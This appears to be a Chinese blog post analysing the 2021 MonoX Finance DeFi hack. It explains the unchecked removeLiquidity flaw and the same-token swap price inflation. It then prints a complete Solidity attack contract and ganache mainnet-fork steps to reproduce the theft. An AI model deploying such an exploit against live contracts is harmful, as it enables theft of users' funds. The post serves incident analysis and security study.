前言
2021 年 11 ⽉ 30 ⽇,DeFi 平台 MonoX Finance 遭遇攻击,损失共计约 3100 万美元。
造成本次攻击的漏洞主要有两个:
- 移除流动性的函数未对调用者进行检测,使得任何用户都可以移除提供者的流动性。
- 代币交换函数未对传入的币对进行检测,可通过传入相同的币种抬高该币价格。
以太坊网络
攻击者地址:0xecbe385f78041895c311070f344b55bfaa953258
攻击合约:0xf079d7911c13369e7fd85607970036d2883afcfd
攻击交易(block@13715025):
https://etherscan.io/tx/0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
polygon网络
攻击者地址 2:0x8f6a86f3ab015f4d03ddb13abb02710e6d7ab31b
攻击合约 2:0x119914de3ae03256fd58b66cd6b8c6a12c70cfb2
攻击交易 2:
https://polygonscan.com/tx/0x5a03b9c03eedcb9ec6e70c6841eaa4976a732d050a6218969e39483bb3004d5d
两个网络上的攻击手段相同,在本文中只对以太坊网络的攻击进行分析。
项目信息
首先通过阅读官方文档对整个项目进行了解:MonoX docs
攻击的交易信息:【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
以下是关键点摘要:
- Single Token Liquidity pools function by grouping the deposited token into a virtual pair with our
virtual USD stablecoin (vCASH)
, instead of having the liquidity provider deposit multiple pool pairs, they only have to deposit one. All the pools/pairs are in the same ERC1155 contract
. Monoswap- In exchange for providing liquidity, the LP receives their share of the liquidity reserve and the
ERC1155 LP token
. Liquidity providers receive a share of the fees proportional to their share of the liquidity reserve. - When one removes liquidity from the pool for Token A, the price of the token stays the same.
The pool burns the liquidity provider’s ERC 1155 LP token
. In exchange, the pool transfers to the user their share of Token A’s virtual pair’s net value. When the vCASH balance ispositive
, the user will get their share of vCASH plus their share of Token A. When the vCASH balance isnegative
, the user will receive their share of Token A, minus their share of vCASH debt valued in Token A. - LPs providing liquidity in selected/promo pools will get non-transferrable
$MONO
shares.MONO-ERC20
项目合约地址
- Monoswap address: 0xC36a7887786389405EA8DA0B87602Ae3902B88A1
- MonoXPool address: 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4
- MONO address: 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D
- vCASH address: 0x532D7ebE4556216490c9d03460214b58e4933454
攻击流程分析
攻击的目的是极大地提高 MONO 的价格,然后用 MONO 通过 MonoSwap 换取其他代币
-
攻击合约向 WETH 存 0.1 个 ETH,并授权给 Monoswap 的代理合约
-
用 0.1 WETH 从 Monoswap 中换出 79.986094311542621010 MONO
-
调用 Monoswap 的 pools 函数,查询 MONO-vCash 的相关信息
pid=10, lastPoolValue=531057465205747239605262, token=MONO, status=2, vcashDebt=0, vcashCredit=417969352001142975260, tokenBalance=101764473116983332370454, price=5218495054176274115, createdAt=1637853228
-
调用 MonoXPool 的 totalSupplyOf 函数, 查询 MONO-vCash 池子中作为 LP 证明的 MONO 的总量。
-
调用 MonoXPool 的 balanceOf 函数,查询提供大量流动性的用户(要移除流动性的目标)在 MONO-vCash 池子中作为 LP 证明的 MONO 数量。提供流动性的用户可以在其 token 页面找到(只有三位用户提供了流动性)。
-
移除提供大量流动性的用户的流动性,使得池中的 vCash 为 0 ,MONO 为 0 。
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=0, price=5218495054176274115, createdAt=1637853228
-
往 MONO-vCash 池中添加流动性 196875656 MONO 。获得 927 liquidity .
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=196875656, price=5218495054176274115, createdAt=1637853228
-
调用 55 次 Monoswap.swapExactTokenForToken 函数, 其中 tokenIn=MONO, tokenOut=MONO 。此举的目的是为了提高 MONO 的价格,使得 amountOut > amountIn 。此时的 MONO 价格已经大幅度上升到了 843741636512366463585990541128 。
pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=28065601457649448980, price=843741636512366463585990541128, createdAt=1637853228
-
然后通过调用 swapTokenForExactToken 函数,以高价的 MONO 换空池中的其他代币,达到获利的目的。
代码分析
移除流动性漏洞
removeLiquidity 函数未对调用者进行检测,使得任何用户都可以移除提供者的流动性。
价格提升漏洞
整体的代码流程如图。通过传入相同的代币(tokenIn=MONO, tokenOut=MONO),大幅拉升该代币的价格。
swapExactTokenForToken 函数
跟入 swapIn 函数
getAmountOut函数
_getNewPrice函数
_getAvgPrice函数
攻击合约
pragma solidity ^0.7.6;
interface WETH9{
function deposit() external payable;
function approve(address guy, uint wad) external;
}
interface Monoswap{
function swapExactTokenForToken(
address tokenIn,
address tokenOut,
uint amountIn,
uint amountOutMin,
address to,
uint deadline
) external;
function removeLiquidity (address _token, uint256 liquidity, address to,
uint256 minVcashOut,
uint256 minTokenOut) external;
function addLiquidity (address _token, uint256 _amount, address to) external;
enum PoolStatus {
UNLISTED,
LISTED,
OFFICIAL,
SYNTHETIC,
PAUSED
}
function pools(address) external view
returns (
uint256 pid,
uint256 lastPoolValue,
address token,
PoolStatus status,
uint112 vcashDebt,
uint112 vcashCredit,
uint112 tokenBalance,
uint256 price,
uint256 createdAt
);
function swapTokenForExactToken(
address tokenIn,
address tokenOut,
uint amountInMax,
uint amountOut,
address to,
uint deadline
) external;
}
interface MonoXPool{
function balanceOf(address account, uint256 id) external returns (uint256);
}
interface MonoToken{
function approve(address spender, uint256 amount) external;
function balanceOf(address account) external returns(uint256);
}
contract attack{
address WETH9_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address vCash_address = 0x532D7ebE4556216490c9d03460214b58e4933454;
address MONO_address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address USDC_address = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address MonoXPool_address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address Monoswap_address = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
// the only 3 MONO liquidity providers
address LiquidityProvider1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address LiquidityProvider2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address LiquidityProvider3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
// Please deplay with 0.1 eth.
function S1_Get_and_Approve_WETH() public{
WETH9(WETH9_address).deposit{value:0.1 ether, gas:40000}();
WETH9(WETH9_address).approve(Monoswap_address,0.1 ether);
}
// Swap the token form WETH to MONO in Monoswap.
function S2_Swap_form_WETH_to_MONO() public{
Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_address, MONO_address, 0.1 ether, 1, address(this), block.timestamp);
}
// Remove the liqiudity of MONO pool.
function S3_Remove_Liquidity() public{
// Get the MONO banlance of provider, then remove it.
uint256 balanceOfProvider1 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider1, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider1, LiquidityProvider1, 0, 0);
uint256 balanceOfProvider2 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider2, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider2, LiquidityProvider2, 0, 0);
uint256 balanceOfProvider3 = MonoXPool(MonoXPool_address).balanceOf(LiquidityProvider3, 10);
Monoswap(Monoswap_address).removeLiquidity(MONO_address, balanceOfProvider3, LiquidityProvider3, 0, 0);
// After this step, the MONO and vCash banlances of pool is 0.
// But the price of MONO has not changed.
}
// Approve and add liqiudity to the MONO pool.
function S4_Add_Liqiudity_of_MONO() public{
MonoToken(MONO_address).approve(Monoswap_address, type(uint256).max);
// The attacker add 196875656 MONO.
Monoswap(Monoswap_address).addLiquidity(MONO_address, 196875656, address(this));
}
// To raise the price of MONO by swap MONO to MONO 55 times.
function S5_Raise_MONO_Price() public{
uint112 MONO_InPool;
for(uint256 i = 0; i < 55; i++){
// Get amount of MONO in pool.
(,,,,,,MONO_InPool,,) = Monoswap(Monoswap_address).pools(MONO_address);
// Swap MONO to MONO.
Monoswap(Monoswap_address).swapExactTokenForToken(MONO_address, MONO_address, MONO_InPool-1, 0, address(this), block.timestamp);
}
}
// Swaping the USDC by high price MONO.
function S6_Swap_MONO_to_USDC() public{
// Get the MONO balance of this contract.
uint256 MONO_InThis;
MONO_InThis = MonoToken(MONO_address).balanceOf(address(this));
// Get the USDC banlance of pool.
// uint256 USDC_InPool;
//(,,,,,,USDC_InPool,,) = Monoswap(Monoswap_address).pools(USDC_address);
// Using MONO to swap 4000000000000 USDC, while 4000000000000 < USDC_InPool.
Monoswap(Monoswap_address).swapTokenForExactToken(Monoswap_address, USDC_address, MONO_InThis, 4000000000000, msg.sender, block.timestamp);
}
// Because MonoXPool is ERC1155 contract, this function is necessary.
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
// a = 0xf23a6e61
return a;
}
receive() payable external{}
}
漏洞复现
要设置 -l
gas limit,否则会不够用。
ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/{your key}@13715025 -l 4294967295
导入账户
部署合约,并往合约转入 0.1 eth
依次调用攻击合约中的攻击函数
攻击结果
参考文章
- 【github】W2Ning/MonoX_Vul_
- 【慢雾】DeFi 平台 MonoX Finance 被黑分析
- 【MonoX】MonoX docs
- 【ethtx】0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
文章来源: 博客园
- 还没有人评论,欢迎说说您的想法!